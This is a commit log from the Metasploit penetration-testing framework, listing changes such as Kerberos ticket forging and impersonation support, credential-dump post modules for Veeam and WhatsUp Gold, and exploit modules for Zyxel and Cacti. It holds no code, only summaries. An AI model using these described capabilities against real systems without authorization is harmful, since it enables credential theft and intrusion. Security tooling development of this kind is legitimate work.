- Move all the logic from `modules/auxiliary/admin/dcerpc/samr_computer.rb`
  to `lib/msf/core/exploit/remote/ms_samr.rb` library
- Add `modules/auxiliary/admin/dcerpc/cve_2022_26923_certifried.rb` module
- Update the SMB client to disable SSL by default
- Add documentation
- Kerbero client: pass `options` as argument to `send_request_as`
- `calculate_shared_key` returns an EncryptionKey instead of the raw key
- Update `pkinit_login` module to make it compatible
- Add support to `additional_tickets` when requesting tickets
- Add support to PAC CredentialInfo structures
- Add impersonation to escalate privileges
- Add ACTIONS
- Use elevated TGS to delete the computer account
- Update and add specs
2023-01-13 15:30:50 +01:00
adfoster-r7 e3cd004003 Add edit link to docs website 2023-01-13 14:01:40 +00:00
adfoster-r7 19d2e985ef Enable new datastore implementation by default 2023-01-13 13:51:56 +00:00
adfoster-r7 a36882aee3 Always autocomplete options regardless of condition filtering 2023-01-13 13:11:32 +00:00
ErikWynter 8472efed02 fix typos, add reference, don't use methods to wrap datastore options 2023-01-13 14:53:29 +02:00
Dean Welch 75153aded3 Fix missing method error when printing ticket contents from a kirbi file format 2023-01-13 10:19:07 +00:00
Metasploit c4d9206d9c automatic module_metadata_base.json update 2023-01-12 12:41:33 -06:00
Spencer McIntyre 551990a945 Land #17466, report smb version information
fix #16394: SMB_Version Module does not report SMB Version into Notes
2023-01-12 13:16:05 -05:00
Metasploit 80016b2d22 Bump version of framework to 6.2.36 2023-01-12 12:10:45 -06:00
Metasploit 953621860a automatic module_metadata_base.json update 2023-01-12 09:36:26 -06:00
Christophe De La Fuente 29968fb76e Land #17337, Gather Dbeaver Password 2023-01-12 16:06:00 +01:00
cgranleese-r7 9c2b8138a7 Land #17456, Make the Kerberos Encryption Type Configurable 2023-01-12 13:25:48 +00:00
adfoster-r7 0669ee1f72 Land #17395, Adds docs for RPC workflows to docs site 2023-01-12 12:50:55 +00:00
cgranleese-r7 e81b08563e Add additional metasploit rpc documentation 2023-01-12 11:21:41 +00:00
Jack Heysel 145589f7a2 Add GetPteBaseW10 2023-01-12 01:15:23 -05:00
Wrathdemon becf613022 fix #16394: SMB_Version Module does not report SMB Version into Notes 2023-01-12 09:29:53 +05:30
三米前有蕉皮 0b2cf18197 Merge pull request #1 from cdelafuente-r7/dbeaver_gather_cred_fixes
Fix exception handler logic and small improvements
2023-01-12 07:38:09 +08:00
adfoster-r7 a484350fdf Land #17455, Fix Chunked Kerberos Responses 2023-01-11 22:09:06 +00:00
Spencer McIntyre 2f145769da Actually, offered_etypes needs to be an array 2023-01-11 17:08:27 -05:00
Hamilton Tobon Mosquera fd7fbb76af fix: cmd_run: remove unnecessary map
Removing the call to .map over args[:datastore_options] avoids an unnecessary call to Msf::DataStore#import_options_from_s. args[:datastore_options] is already a hash, converting it to string and using Msf::DataStore#import_options_from_s converts it back to hash, which is not necessary. The Msf::Simple::Module mixin already offers support for Options, which is expected to be a hash.

This change also prevents sending corner case option strings to Msf::DataStore#import_options_from_s when using post modules, which does not support strings like: "COMMAND='date --date=2023-01-01'".
2023-01-11 16:54:13 -05:00
Hamilton Tobon Mosquera 03acb7e9f2 test: added rspec tests for 6074d1a4d3 2023-01-11 15:46:55 -05:00
Christophe De La Fuente f9b1c17c39 Fix exception handler logic and small improvements 2023-01-11 20:00:09 +01:00
Spencer McIntyre a4a5162b92 Remove the etype option in favor of offered_etypes 2023-01-11 10:17:52 -05:00
Metasploit 61ffb90954 automatic module_metadata_base.json update 2023-01-11 09:01:02 -06:00
Christophe De La Fuente ada6e73af6 Land #17341, MinIO_Client Post Exploitation Credential Gatherer 2023-01-11 15:36:23 +01:00
Christophe De La Fuente 43051a2811 Add missing curly bracket 2023-01-11 14:30:23 +01:00
cn-kali-team 6738ca2c43 Support multiple platforms 2023-01-11 18:04:29 +08:00
adfoster-r7 6f7d7bcd1c Land #17394, Add ticket converter docs 2023-01-11 02:11:59 +00:00
三米前有蕉皮 ce83086c00 Update modules/post/multi/gather/minio_client.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2023-01-11 09:31:42 +08:00
三米前有蕉皮 633d807dbc Update modules/post/multi/gather/minio_client.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2023-01-11 09:29:13 +08:00
三米前有蕉皮 e00a86b6d6 Update modules/post/multi/gather/minio_client.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2023-01-11 09:28:26 +08:00
三米前有蕉皮 3dd794a97f Update modules/post/multi/gather/minio_client.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2023-01-11 09:27:48 +08:00
三米前有蕉皮 8b6387867d Update modules/post/multi/gather/minio_client.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2023-01-11 09:27:08 +08:00
npm-cesium137-io 243c57c1fe Add whatsupgold_credential_dump post module
Add a post module for credential extraction from WhatsUp Gold instances
on Windows hosts. The module should theoretically decrypt ciphertext
from any version of WhatsUp Gold, although it has only been verified
working on WhatsUp Gold versions 11.0 through 22.0.
2023-01-10 15:50:53 -05:00
adfoster-r7 760f5198ac Add additional metasploit rpc documentation 2023-01-10 20:43:11 +00:00
Grant Willcox 87b1f3b602 Land #17386, Ignore Content-Length header for the purpose of HEAD requests 2023-01-10 11:00:59 -06:00
Jeffrey Martin a0738aaa02 Land #17447, Bump up pry related gems post 2.6 2023-01-10 10:40:32 -06:00
Grant Willcox 8b102afd71 Rubocop fixes and some documentation additions 2023-01-10 10:07:51 -06:00
Jack Heysel a61ecd6e40 Moved to wiki, added hashcat tutorial 2023-01-10 10:57:28 -05:00
cgranleese-r7 281020379c Adds docs for RPC workflows to docs site 2023-01-10 10:31:24 +00:00
cn-kali-team 6ef38e305f Support multiple platforms 2023-01-10 15:01:55 +08:00
三米前有蕉皮 5845c7cb1f Update modules/post/windows/gather/credentials/minio_client.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2023-01-10 09:22:50 +08:00
三米前有蕉皮 ba5b100fe5 Update modules/post/windows/gather/credentials/minio_client.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2023-01-10 09:20:32 +08:00
三米前有蕉皮 a14af52146 Update documentation/modules/post/windows/gather/credentials/minio_client.md
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2023-01-10 09:19:58 +08:00
三米前有蕉皮 b72bfec033 Update documentation/modules/post/windows/gather/credentials/minio_client.md
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2023-01-10 09:17:40 +08:00
Ashley Donaldson f8b253dae1 Fix state machine for HEAD requests 2023-01-10 10:57:13 +11:00
Spencer McIntyre 138f3bb4b2 Make the encryption type configurable 2023-01-09 17:20:57 -05:00
Spencer McIntyre b7f6fe584a Add initial lib changes for configurable etypes 2023-01-09 16:43:42 -05:00
npm-cesium137-io 499d1ccfd7 Refactor veeam_credential_dump
Changed the SQL queries for DB dump to explicit VARCHAR(4096) to get
around sqlcmd's 256-char column limit.

Refactored the BATCH_DPAPI functionality because I can't seem to let
this pattern go: now actually batches with byte threshold set by
advanced option.

Reduced clutter and redundancy.

Various tweaks and bug fixes.

Updated documentation.
2023-01-09 16:31:44 -05:00
Krzysztof Burghardt ca0a57124b Add qubes_mirage_firewall_dos module documentation 2023-01-09 13:27:35 -06:00
Krzysztof Burghardt 551edbe0d1 Review and lint fixes 2023-01-09 13:27:35 -06:00
Krzysztof Burghardt a1ee09d544 New exploit for CVE-2022-46770 Mirage firewall DoS 2023-01-09 13:27:35 -06:00
Metasploit 3beb3d775f automatic module_metadata_base.json update 2023-01-09 11:49:22 -06:00
Grant Willcox f6f3dd1af0 Land #17454, fix #17436: scanner/smb/smb_enumshares truncates file names 2023-01-09 11:23:50 -06:00
Grant Willcox f8ce1219e1 Remove extra line 2023-01-09 11:23:26 -06:00
Wrathdemon 2df3920432 fix #17436: truncated file names in the logged data in module auxiliary/scanner/smb/smb_enumshares 2023-01-09 22:11:25 +05:30
Spencer McIntyre 2494c367e7 Handle chunked Kerberos responses
Chunked responses from partial reads are possible when pivoting.
2023-01-09 11:24:53 -05:00
Grant Willcox fd61e31cd3 Bump up additional Gems and bump Pry to support recent versions of Ruby 2023-01-09 09:54:41 -06:00
Wrathdemon ade00718c6 fix #17436: truncated file names in the logged data in module auxiliary/scanner/smb/smb_enumshares 2023-01-09 19:32:37 +05:30
h00die 0c418d05e8 jtr cracking of netntlm 2023-01-08 16:54:36 -05:00
h00die 8e1c29f444 jtr cracking of netntlm 2023-01-08 15:31:47 -05:00
h00die 0c3026c201 crack netntlm* 2023-01-08 14:32:04 -05:00
h00die 4c6c8fcf8b crack netntlm* 2023-01-08 14:29:21 -05:00
Grant Willcox ebdfabf35d Bump up pry related gems post 2.6 lock removal 2023-01-06 16:53:04 -06:00
Grant Willcox d076b9c7ab Merge pull request #17166 from k0pak4/improve-golden-ticket-module
Improve golden ticket module with hash check and better loot storage
2023-01-06 16:39:29 -06:00
Matthew Dunn 8f302c8697 Complete requested PR changes
Clone the cc_principle
2023-01-06 14:48:53 -06:00
Grant Willcox 3d9ea4492f Fix up extra blank lines and make ticket type being saved clearer 2023-01-06 14:48:53 -06:00
Matthew Dunn d64c4b6e7e Store the binary format of the ccache
update key to be correct
2023-01-06 14:48:53 -06:00
Matthew Dunn ccfc253eb8 Updates to get ccache in golden ticket
Fix incorrect reference
Use proper encoding
2023-01-06 14:48:52 -06:00
Matthew Dunn ff029842ce Verify NT hash and store golden ticket as kirbi and ccache 2023-01-06 14:48:38 -06:00
Jeffrey Martin 07231a6a8e Land #17425, Weekly dependency updates for Gemfile.lock 2023-01-06 13:05:21 -06:00
Grant Willcox 9dce44f195 Merge pull request #17390 from dwelch-r7/move-debug-ticket-to-new_module
Move debug ticket to new module
2023-01-06 11:35:18 -06:00
Grant Willcox d69564f3df Minor update to merge output and example together. 2023-01-06 10:15:16 -06:00
Jeffrey Martin bd1a6d44f2 Land #17441, Remove lock on Pry version 2023-01-06 09:52:16 -06:00
Grant Willcox 0be28f64b4 Merge pull request #17443 from dwelch-r7/Fix-ldap-failure-constants
Use the correct constant names for ldap failures
2023-01-06 09:19:28 -06:00
Hamilton Tobon Mosquera 6074d1a4d3 fix: parse COMMAND with nested '=' in meterpreter
Fixes bug #16578
2023-01-06 09:27:25 -05:00
Dean Welch 8078616f5f Use the correct constant names for ldap failures 2023-01-06 14:11:26 +00:00
Spencer McIntyre 138e0c697b Land #17427, YARD Document LDAP Libraries 2023-01-06 08:57:31 -05:00
dwelch-r7 75372dcdd3 Land #17374, Add klist command 2023-01-06 12:57:20 +00:00
cn-kali-team 4a1c75ae73 dbeaver_store_config 2023-01-06 14:55:49 +08:00
Grant Willcox 0ae5aea9e8 Remove lock on Pry version since Ruby 2.6 is no longer supported by Metasploit and so this no longer applies 2023-01-05 18:55:39 -06:00
Grant Willcox e03fd42a29 Update to fix some warnings in YARD, fix review comments, and also replace @see with proper links for easier navigation 2023-01-05 17:44:24 -06:00
Grant Willcox 0af0f6ea0a Merge pull request #17440 from zeroSteiner/fix/smb-aes-256-kerberos
Fix SMB key calculation for AES-256 when authenticating with Kerberos
2023-01-05 17:05:28 -06:00
Metasploit 0a826323f7 automatic module_metadata_base.json update 2023-01-05 16:01:11 -06:00
Spencer McIntyre 1f938781d9 Land #17438, exchange_proxylogon_collector bugfix
exchange_proxylogon_collector bugfix: prevent empty on nil by changing empty to blank
2023-01-05 16:24:58 -05:00
Metasploit 131d982cd2 automatic module_metadata_base.json update 2023-01-05 14:49:58 -06:00
Grant Willcox 98b3b29cc2 Land #17439, Removing Rex::ConnectionError exception handler from module template 2023-01-05 14:24:58 -06:00
Spencer McIntyre 785c5a8f4d Fix key calculation for Server 2022
Metasploit will negotiate the strongest mutually supported encryption
with the target. When the target supports AES-256 as Server 2022 and
Windows 11 do, the key needs to be 32-bytes long and not 16 as it is
when AES-128 is in use. This updates the logic to check if the
encryption algorithm is set to ensure that the key is the correct size.
2023-01-05 15:08:49 -05:00
Christophe De La Fuente 1ede6661d4 Land #17382, Update pkinit tgt response to include key 2023-01-05 20:45:20 +01:00
Christophe De La Fuente 25f4c023b4 Removing Rex::ConnectionError exception handler 2023-01-05 20:26:11 +01:00
Grant Willcox 9585677d2c Update Gemfile.lock with latest changes 2023-01-05 12:30:08 -06:00
Metasploit 1b093b6e17 Bump version of framework to 6.2.35 2023-01-05 12:10:17 -06:00
Dean Welch 2de3477eb0 Add msfconsole examples 2023-01-05 17:02:23 +00:00
Grant Willcox e218210feb Update ldap_connect documentation to set Object as the return type 2023-01-05 10:51:18 -06:00
Dean Welch a18efb7882 Improve description and error messages 2023-01-05 14:24:08 +00:00
cn-kali-team 5eae5068cc update 2023-01-05 20:56:06 +08:00
ErikWynter f222bccf6c prevent empty on nil by changing empty to blank 2023-01-05 10:38:09 +02:00
Grant Willcox e99c406355 Merge pull request #17434 from dwelch-r7/fix-typo-keytab-docs
Fix keytab docs typo
2023-01-04 11:13:44 -06:00
Grant Willcox c71ba23a10 Fix up incorrectly indented documentation, remove excess lines, and add in correct type return information from debugging sessions 2023-01-04 11:09:23 -06:00
Arthur RAOUT d83c2c3a5d Remove useless loop that select reg1, because we now have push/pop all regs to preserve them 2023-01-04 17:40:22 +01:00
Arthur RAOUT 676fda73b1 Remove useless loop that select reg1, because we now have push/pop all regs to preserve them 2023-01-04 17:39:59 +01:00
Arthur RAOUT 7494318ec4 Fix offset from entrypoint 2023-01-04 17:36:55 +01:00
Arthur RAOUT 93f579b180 Fixed shuffling of registers with generate preserve reg function 2023-01-04 17:33:24 +01:00
Arthur RAOUT 0a99e2be6a Fixed 3 offense rubocop/msftidy 2023-01-04 17:25:25 +01:00
Arthur RAOUT bdf5f8fbe4 Added preserver register through random order push and pop of the registers, change name to xor_poly.rb 2023-01-04 17:21:48 +01:00
Professor Araout 7cd68e8f06 Merge branch 'rapid7:master' into New_x86_xor_encoder 2023-01-04 17:04:30 +01:00
Dean Welch cb95d92201 Fix keytab docs typo 2023-01-04 15:39:59 +00:00
Christophe De La Fuente 868072e6c8 Land #17317, Fix various WinRM modules 2023-01-03 19:57:07 +01:00
Christophe De La Fuente 9f869f5a11 Add a call to super in run 2023-01-03 19:54:06 +01:00
Ashley Donaldson 45c0af48c2 Suggested changes from code review 2023-01-03 11:26:07 +11:00
Ashley Donaldson b05db8b82d Keep signature of the read_response function as it was before, and add the original request as an opt 2023-01-03 09:46:43 +11:00
Grant Willcox bfb80db9db Add in missing YARD documentation for lib/msf/core/exploit/remote/ldap.rb 2022-12-30 16:07:08 -06:00
Grant Willcox 86d4129edb Add in missing YARD documentation for lib/rex/proto/ldap.rb 2022-12-30 13:41:33 -06:00
adfoster-r7 a8957bce49 Update tgt response to include key 2022-12-30 13:41:54 +00:00
Grant Willcox e9f86ce6e8 Merge pull request #17421 from adfoster-r7/merge-6.2.33-master-into-kerberos-feature-branch
Merge 6.2.33 master into kerberos feature branch
2022-12-29 22:48:14 -06:00
Grant Willcox 8c25786023 Undo bundler version bump 2022-12-29 15:43:31 -06:00
Grant Willcox 0e2b0fd421 Weekly gem bump 2022-12-29 15:39:52 -06:00
Jack Heysel 5a8d330f80 Msftidy fixes 2022-12-28 17:11:55 -05:00
Jack Heysel 8f277abbf2 Add kerberoasting documentation 2022-12-28 16:55:57 -05:00
timwr ce260f53f3 Add CVE-2022-46689 macOS dirty cow 2022-12-28 22:46:08 +07:00
adfoster-r7 95d361754f Merge branch 'upstream-master' into merge-6.2.33-master-into-kerberos-feature-branch 2022-12-28 13:59:42 +00:00
Grant Willcox a49e8c7afb Merge pull request #17405 from adfoster-r7/update-smb-enumshares-to-gracefully-fallover-from-139-to-445
Update smb enumshares to gracefully failover from port 139 to 445
2022-12-27 15:42:01 -06:00
ErikWynter 8f96746551 fix typo and add credit for discovery 2022-12-23 11:11:31 +02:00
ErikWynter 4c2dfe0279 add cacti_unauthenticated_cmd_injection 2022-12-22 17:55:45 +02:00
npm-cesium137-io 9cc8d41388 veeam_credential_dump post module revisions
Cleanup for initial PR.
2022-12-21 15:53:46 -05:00
adfoster-r7 9d725b1e67 Update smb enumshares to gracefully failover from 139 to 445 2022-12-21 20:23:01 +00:00
Professor Araout dcec717a9b Merge branch 'rapid7:master' into New_x86_xor_encoder 2022-12-20 22:25:29 +01:00
Professor Araout 0a53cab369 Update xor.rb
Remove outdated comments
2022-12-20 17:03:50 +01:00
Arthur RAOUT 45d0eb8bb4 Add encoder module x86/xor at path modules/encoder/x86/xor.rb, Rubocop clean, msftidy clean, No documentation written 2022-12-20 15:54:01 +01:00
bwatters 6b0805dc11 Update cmdstager docs 2022-12-16 15:55:30 -06:00
Grant Willcox b01720dcba Merge pull request #17397 from zeroSteiner/fix/pkinit-nameerror
Fix a NameError in pkinit_login
2022-12-16 15:28:45 -06:00
Spencer McIntyre b2edf1108a Fix a NameError in pkinit_login 2022-12-16 14:54:46 -05:00
Dean Welch 4e1e85f8ad Add ticket converter docs 2022-12-16 13:53:05 +00:00
adfoster-r7 6f9ebe4068 Add klist command 2022-12-16 13:02:39 +00:00
adfoster-r7 20496aadc2 Land #17377, Consolidate Kerberos Ticket Storage 2022-12-16 01:35:36 +00:00
Ashley Donaldson 5c2640178c Suggested changes from code review 2022-12-16 10:36:26 +11:00
Spencer McIntyre 60a76da374 Allow deleting tickets by ID 2022-12-15 18:31:18 -05:00
Spencer McIntyre 75fc560d19 Handle cases where the framework module is nil 2022-12-15 18:31:18 -05:00
Spencer McIntyre 830e850160 Add more docs 2022-12-15 18:31:18 -05:00
Spencer McIntyre 663dee982e Expose an abstract stored ticket object 2022-12-15 18:31:18 -05:00
Spencer McIntyre fea259f6e7 Switch everything to use the ticket storage 2022-12-15 18:31:14 -05:00
Spencer McIntyre b2a4bea761 Breakout the ticket storage backend drivers 2022-12-15 18:29:00 -05:00
Spencer McIntyre 686b946c5b Use a new TicketStorage class
The goal is to provide an abstraction for how Kerberos tickets are
persisted to disk.
2022-12-15 18:28:54 -05:00
Spencer McIntyre 5f52ebeea7 Consolidate the loot_info UID string 2022-12-15 18:26:32 -05:00
Ron Bowes 2ec77e6d95 Merge branch 'master' into f5-createuser-privesc 2022-12-15 13:11:26 -08:00
Steffen Robertz cc5c405941 Unauthenticated RCE for multiple Zyxel Router changes 2022-12-15 21:44:57 +01:00
Jack Heysel 3204caf618 Make use of session platform 2022-12-15 14:28:19 -05:00
Jack Heysel 87614cf2b3 Fixed spacing updated check method 2022-12-15 14:15:06 -05:00
Christophe De La Fuente 6e09236c97 Land #17381, Update rasn1 dependency for pkinit 2022-12-15 17:38:49 +01:00
Dean Welch cf332a2b20 Move DEBUG_TICKET action from forge ticket to it's own module inspect_ticket 2022-12-15 13:42:30 +00:00
Steffen Robertz 1b690283db Unauthenticated RCE for multiple Zyxel Router 2022-12-15 11:50:48 +01:00
Ashley Donaldson 28bd03f971 Apply suggestions from code review
Co-authored-by: adfoster-r7 <60357436+adfoster-r7@users.noreply.github.com>
2022-12-15 14:50:10 +11:00
Ashley Donaldson 57152fdd5f Use framework's thread mechanism for background keepalive worker 2022-12-15 14:44:57 +11:00
Ashley Donaldson 89dd358d2d Added unit test to check that HEAD responses don't hang 2022-12-15 14:34:01 +11:00
Jack Heysel f015d1425a Added update to common.h 2022-12-14 20:39:31 -05:00
Ashley Donaldson 891ab225cc Ignore Content-Length header for the purpose of HEAD requests 2022-12-15 11:22:48 +11:00
Ashley Donaldson 5716fd0f4d Revert to use of set /p, but with dummy variable so that %errorlevel% is set to 0 2022-12-15 09:05:16 +11:00
dwelch-r7 243b9da3e6 Land #17344, Update windows_secrets_dump and Keytab module to export kerberos keys 2022-12-14 15:03:15 +00:00
adfoster-r7 2783e92203 Update windows_secrets_dump and Keytab module to export kerberos keys 2022-12-14 13:40:39 +00:00
adfoster-r7 abcf4606a8 Land #17360, document the kerberos forge_ticket DEBUG_TICKET action 2022-12-14 13:37:34 +00:00
cgranleese-r7 7face44638 Land #17379, Merge 6.2.31 into kerberos feature branch 2022-12-14 13:34:36 +00:00
Ashley Donaldson 5fd6103a70 Use boolean output of write_file for cmd_upload
Also fixed powershell upload, which failed at around 20000 bytes per command.
I believe this is related to powerfun, which seems to truncate to 20000 bytes.
2022-12-14 20:46:31 +11:00
Ashley Donaldson 6ac1c305cc Appropriate return values for windows (cmd and powershell) shells 2022-12-14 17:00:16 +11:00
Ashley Donaldson b38af39660 Unix shell knows whether or not it has succeeded in writing or appending a file 2022-12-14 12:48:46 +11:00
adfoster-r7 28bd37b0a7 Update rasn1 dependency for pkinit 2022-12-14 00:32:26 +00:00
adfoster-r7 a9ccfe31b7 Merge branch 'upstream-master' into merge-msf-6.2.31-into-kerberos-feature-branch 2022-12-13 19:40:39 +00:00
dwelch-r7 fd555b218f Land #17373, Add ticket flags when outputting krb5 ccache 2022-12-13 12:46:25 +00:00
adfoster-r7 7625d4b08b Add ticket flags when outputting krb5 ccache 2022-12-13 12:19:16 +00:00
Jack Heysel 2fa7e7b2d5 Lenovo Diagnostics Driver Privilege Escaltion (CVE-2022-3699) 2022-12-12 21:53:53 -05:00
Spencer McIntyre a80db73bab Land #17325, add impersonation for get_ticket
Enable the `get_ticket` module to impersonate a user with S4U2self and S4U2proxy
2022-12-12 09:10:37 -05:00
Dean Welch 4aaf540364 Add modules docs for TICKET_DEBUG 2022-12-12 13:39:09 +00:00
Christophe De La Fuente 86ec66c43d Add decoding support
- for Rex::Proto::Kerberos::Model::Checksum
- for Rex::Proto::Kerberos::Model::PreAuthForUser
- add specs
2022-12-12 12:56:30 +01:00
npm-cesium137-io 6eaa0bfab2 Add veeam_credential_dump post module
Post module for Veeam Backup and Replication / Veeam ONE Monitor Server
credential extract
2022-12-10 16:21:59 -05:00
adfoster-r7 46f7fc9288 Land #17313, PAC Bindata Model + print ccache contents 2022-12-08 14:38:38 +00:00
Dean Welch fc3bb585be Move TypeSerialization1 to it's own file 2022-12-08 13:20:41 +00:00
Dean Welch 1e1580e346 Move TypeSerialization1 to it's own file 2022-12-08 13:11:47 +00:00
cn-kali-team c81029a165 fix 2022-12-07 12:32:41 +08:00
cn-kali-team 7720119948 fix 2022-12-07 12:32:14 +08:00
三米前有蕉皮 bb3e5df6f5 Update modules/post/windows/gather/credentials/minio_client.rb
Co-authored-by: bcoles <bcoles@gmail.com>
2022-12-07 09:23:50 +08:00
三米前有蕉皮 9c94ce09da Update modules/post/windows/gather/credentials/minio_client.rb
Co-authored-by: bcoles <bcoles@gmail.com>
2022-12-07 09:20:38 +08:00
Heyder Andrade cf6d5d3a14 It made the gadgets being used more readable 2022-12-06 17:47:49 +01:00
Dean Welch d239e9b007 Don't autoload krb5Pac 2022-12-06 13:01:47 +00:00
Dean Welch 1e2ada3cce Add options validation depending on action in forge_ticket.rb 2022-12-06 12:55:42 +00:00
cn-kali-team 9b55f32474 MinIO_Client 2022-12-06 20:04:10 +08:00
Dean Welch 405271a52f Add pac BinData Model 2022-12-05 14:03:21 +00:00
cn-kali-team 907612b41d Dbeaver 2022-12-05 14:54:19 +08:00
Heyder Andrade 8aca86b816 Apply suggestions from code review 2022-12-04 17:29:05 +01:00
Heyder Andrade 5c3ac339d0 Apply suggestions from code review
Co-authored-by: adfoster-r7 <60357436+adfoster-r7@users.noreply.github.com>
2022-12-04 12:13:50 +01:00
Christophe De La Fuente c6f8bae1ab Fix from code review and updates the KrbUseCachedCredentials logic 2022-12-02 15:28:08 +01:00
Christophe De La Fuente 69e08094cd Update documentation 2022-12-01 21:23:25 +01:00
Christophe De La Fuente cc61a26668 Add S4U2Self and S4U2Proxy support to impersonate a user 2022-12-01 20:42:13 +01:00
Ashley Donaldson 2d397d37db Removed warning that I think was actually just a bug - now fixed 2022-11-30 13:14:19 +11:00
Ashley Donaldson 0323d45737 More correct approach to encoding for command line 2022-11-30 11:54:42 +11:00
Ashley Donaldson 5fce80ed1d Added comments to most functions 2022-11-30 11:53:57 +11:00
Ashley Donaldson 3a93fcb404 Rubocop'd 2022-11-30 11:32:23 +11:00
Ashley Donaldson 97aef31180 Removed vestigial code while we're at it 2022-11-30 11:31:27 +11:00
Ashley Donaldson 1231eefe55 Fixed WQL module while I'm at it 2022-11-30 10:26:19 +11:00
Ashley Donaldson 0d68ec5d1b Fix formatting of winrm_script_exec 2022-11-30 07:48:30 +11:00
Ashley Donaldson 6a040e2ee5 #11456 Winrm Script Exec works again 2022-11-30 07:39:38 +11:00
Spencer McIntyre 013679d475 Land #17311, Add Kerberos pkinit error codes 2022-11-29 13:19:03 -05:00
Spencer McIntyre 2daf11d521 Land #17309, Fix Kerberos get ticket module
Fix crash in kerberos get ticket module
2022-11-29 13:17:16 -05:00
Heyder Andrade 704cee436b Apply suggestions from code review 2022-11-29 15:25:14 +01:00
Heyder Andrade c1236500f1 Apply suggestions from code review
Co-authored-by: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2022-11-29 14:12:39 +01:00
adfoster-r7 750192afa4 Add pkinit error codes 2022-11-29 10:36:10 +00:00
adfoster-r7 34d1b5b37e Fix crash in kerberos get ticket module 2022-11-29 10:17:21 +00:00
adfoster-r7 a12090c566 Land #17308, Fix the DH key construction for OpenSSL3 2022-11-28 21:03:52 +00:00
Spencer McIntyre cd828a82c8 Fix the DH key construction for OpenSSL3 2022-11-28 14:54:10 -05:00
Spencer McIntyre abe0549db6 Land #17226, Module to request TGT/TGS tickets
Module to request TGT/TGS Kerberos tickets from the KDC
2022-11-28 11:59:17 -05:00
Heyder Andrade ff63f0aa32 Added reference 2022-11-28 14:11:07 +01:00
Heyder Andrade 27f8f4fc47 Cleanup 2022-11-23 01:55:06 +01:00
Heyder Andrade 7880530989 The check method should report when finding a vulnerable product.
I think all exploit modules should "report" in the check method when finding a vulnerable
product. By doing that we can take advantage of all check methods in the exploit module
and use them as a "scanner". That would give the chance for the user to check multiple
simultaneously targets and save the result for further actions.
2022-11-23 01:29:38 +01:00
Heyder Andrade 0e5f8d49f9 Code cleanup and payload generation improvements 2022-11-23 00:29:10 +01:00
Heyder Andrade 13a3d9d1ca Added documentation 2022-11-23 00:19:25 +01:00
Heyder Andrade 7983c14166 Removed a bunch of hard-coded stuff and cleaned out fake smart server 2022-11-22 12:07:55 +01:00
Heyder Andrade 3d73f574d4 Impreve error handling 2022-11-20 12:10:04 +01:00
Heyder Andrade a05cbdbc30 Impreve error handling 2022-11-20 12:09:05 +01:00
Heyder Andrade c9eaa9af37 Added module for #CVE-2022-2992 2022-11-19 15:21:31 +01:00
Heyder Andrade 34d191b06c Added Ruby serialized payload generator 2022-11-19 15:20:49 +01:00
Heyder Andrade f1b97de78d Added Gitlab mixin 2022-11-19 15:19:29 +01:00
Christophe De La Fuente 0c05e82868 Land #17240, Update icpr_cert for requesting certs on behalf of users 2022-11-18 11:58:56 +01:00
Christophe De La Fuente 5280580c08 Fixes from code review 2022-11-18 11:02:32 +01:00
Spencer McIntyre 41f9ba57b4 Add icpr_cert module specs 2022-11-17 12:12:35 -05:00
Spencer McIntyre b2f6f0c792 Update the module docs for ESC2 and ESC3 2022-11-17 12:12:35 -05:00
Spencer McIntyre f4a65a220a Support ON_BEHALF_OF in icpr_cert
Add the code necessary to request certificates on behalf of other users.
This is necessary to exploit templates vulnerable to ESC2 and ESC3.
2022-11-17 12:12:35 -05:00
Spencer McIntyre 054878242a Update ruby_smb gem to 3.2.1 2022-11-17 12:12:35 -05:00
Ron Bowes 93cba95170 Add URLs 2022-11-16 12:23:47 -08:00
Ron Bowes 6a8b94ee42 Merge branch 'f5-post-modules' into f5-createuser-privesc 2022-11-16 12:23:02 -08:00
Ron Bowes fc579fe3f4 Add a privesc module for F5, using the MCP protocol 2022-11-16 12:12:16 -08:00
adfoster-r7 8efc6c5304 Land #17103, Consolidate KdcOptionFlags and TicketFlags 2022-11-09 17:27:17 +00:00
Dean Welch 7c2134d941 Consolidate KdcOptionFlags and TicketFlags 2022-11-09 17:08:26 +00:00
adfoster-r7 65f6aaca82 Land #17077, Add support for AES keys for silver/golden ticket forging 2022-11-09 16:51:11 +00:00
Dean Welch 23ff829e52 Add support for AES keys for silver/golden ticket forging 2022-11-09 13:01:13 +00:00
Christophe De La Fuente 37fd441b0f Land #17117, Authenticate to Kerberos with PKINIT 2022-11-08 18:54:03 +01:00
Spencer McIntyre e70861fc87 Land #17239, Fix broken kerberos login module 2022-11-08 11:21:17 -05:00
adfoster-r7 30fe07801b Fix broken kerberos login module 2022-11-08 15:49:21 +00:00
adfoster-r7 4c4762a84c Land #17045, Add module for converting kerberos ticket formats 2022-11-07 23:54:44 +00:00
Christophe De La Fuente 946eb1e546 Add documentation 2022-11-07 20:19:43 +01:00
Dean Welch ee46d18505 Add yard docs and address review comments 2022-11-07 12:10:01 +00:00
Dean Welch a110465fe4 Add module for converting kerberos ticket formats 2022-11-07 12:10:01 +00:00
Christophe De La Fuente eb051ec9a7 Add get_ticket module 2022-11-04 18:46:47 +01:00
Spencer McIntyre c6a1146314 Upgrade from RASN1 v0.10.0 to v0.11.0
This upgrades the RASN1 library to the latests as of today and fixes
compatibility issues. The issue introduced by v0.11 was that types are
initialized with an `options` hash, which the Name class was not set to
accept.
2022-11-03 12:22:16 -04:00
Spencer McIntyre 6e453a3f4f Fix a bug in #extract_user_and_realm
While iterating over asn_san_seq, if the tag doesn't match either of the
two conditions, user and domain will be nil which leads to a problem
later on.
2022-11-03 10:51:52 -04:00
Spencer McIntyre e00cab3f11 Land #17084, Add Kerberos keytab module 2022-11-02 12:01:03 -04:00
adfoster-r7 e647bf8620 Namespace krb5 models 2022-11-02 13:04:52 +00:00
